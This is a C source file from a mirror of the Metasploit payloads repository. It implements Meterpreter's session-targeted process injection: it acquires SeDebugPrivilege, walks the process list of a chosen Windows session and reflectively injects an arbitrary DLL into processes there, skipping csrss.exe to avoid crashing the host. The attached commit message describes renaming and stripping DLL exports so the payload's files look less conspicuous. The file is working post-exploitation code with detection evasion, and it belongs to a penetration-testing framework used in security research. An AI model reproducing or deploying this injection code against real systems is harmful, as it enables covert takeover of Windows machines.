1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-18 07:11:12 +02:00
OJ c9ca614313
Remove DLL exports from Meterpreter
Add support for loading RDI-related stuff using ordinals instead of
function names. Remove exports from the extensions/etc. This is another
step in the direction to make the DLLs less obvious.

Extensions no longer have their own name in the library metadata.
They're all "extension.dll". Metsrv is now "server.dll" and the two
non-extensions are "plugin.dll". I was going for something a little less
obvious.

This required changes to the RDI functionality.
2020-06-22 08:25:30 +10:00

199 lines
5.4 KiB
C

#include "precomp.h"
#include "session.h"
/*
* Returns the session id associated with a process.
* Returns -1 if we cant determine the session id (e.g. insufficient privileges).
* Returns 0 by default on NT4.
*/
DWORD session_id( DWORD dwProcessId )
{
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pProcessIdToSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
}
if( !pProcessIdToSessionId )
break;
if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) )
dwSessionId = -1;
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/*
* Returns the session id attached to the physical console.
* Returns 0 by default on NT4 and 2000.
*/
DWORD session_activeid()
{
typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID );
static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL;
HMODULE hKernel = NULL;
DWORD dwSessionId = 0;
do
{
if( !pWTSGetActiveConsoleSessionId )
{
hKernel = LoadLibrary( "kernel32.dll" );
if( hKernel )
pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" );
}
if( !pWTSGetActiveConsoleSessionId )
break;
dwSessionId = pWTSGetActiveConsoleSessionId();
} while( 0 );
if( hKernel )
FreeLibrary( hKernel );
return dwSessionId;
}
/*
* On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available.
*/
DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader, char * cpCommandLine )
{
DWORD dwResult = ERROR_INVALID_HANDLE;
DWORD pid = 0;
do
{
for( pid=0 ; pid<0xFFFF ; pid++ )
{
HANDLE hProcess = NULL;
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid );
if( !hProcess )
continue;
CloseHandle( hProcess );
if( dwSessionId == session_id( pid ) )
{
dwResult = ps_inject( pid, pDllBuffer, reflectiveLoader, cpCommandLine );
if( dwResult == ERROR_SUCCESS )
{
dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid );
break;
}
}
}
} while( 0 );
return dwResult;
}
/*
* Inject an arbitrary DLL into a process running in specific Windows session.
*/
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer, LPCSTR reflectiveLoader, char * cpCommandLine )
{
DWORD dwResult = ERROR_INVALID_HANDLE;
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
PROCESS32FIRSTW pProcess32FirstW = NULL;
PROCESS32NEXTW pProcess32NextW = NULL;
HANDLE hProcessSnap = NULL;
HMODULE hKernel = NULL;
HANDLE hToken = NULL;
BOOL bUseBruteForce = TRUE;
PROCESSENTRY32W pe32 = {0};
do
{
// If we can, get SeDebugPrivilege...
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
TOKEN_PRIVILEGES priv = {0};
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
{
if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) );
dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" );
}
CloseHandle( hToken );
}
hKernel = LoadLibrary( "kernel32" );
if( !hKernel )
break;
pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" );
pProcess32FirstW = (PROCESS32FIRSTW)GetProcAddress( hKernel, "Process32FirstW" );
pProcess32NextW = (PROCESS32NEXTW)GetProcAddress( hKernel, "Process32NextW" );
if( !pCreateToolhelp32Snapshot || !pProcess32FirstW || !pProcess32NextW )
break;
hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
break;
pe32.dwSize = sizeof( PROCESSENTRY32W );
if( !pProcess32FirstW( hProcessSnap, &pe32 ) )
break;
bUseBruteForce = FALSE;
do
{
if( dwSessionId == session_id( pe32.th32ProcessID ) )
{
// On Windows 2008R2 we Blue Screen the box if we inject via APC injection
// into the target sessions instance of csrss.exe!!! so we filter it out...
if (wcsstr(pe32.szExeFile, L"csrss.exe"))
continue;
dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer, reflectiveLoader, cpCommandLine );
if( dwResult == ERROR_SUCCESS )
{
dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile );
break;
}
}
} while( pProcess32NextW( hProcessSnap, &pe32 ) );
} while( 0 );
if( hProcessSnap )
CloseHandle( hProcessSnap );
if( hKernel )
FreeLibrary( hKernel );
// On NT4 we must brute force the process list...
if( bUseBruteForce )
dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer, reflectiveLoader, cpCommandLine );
return dwResult;
}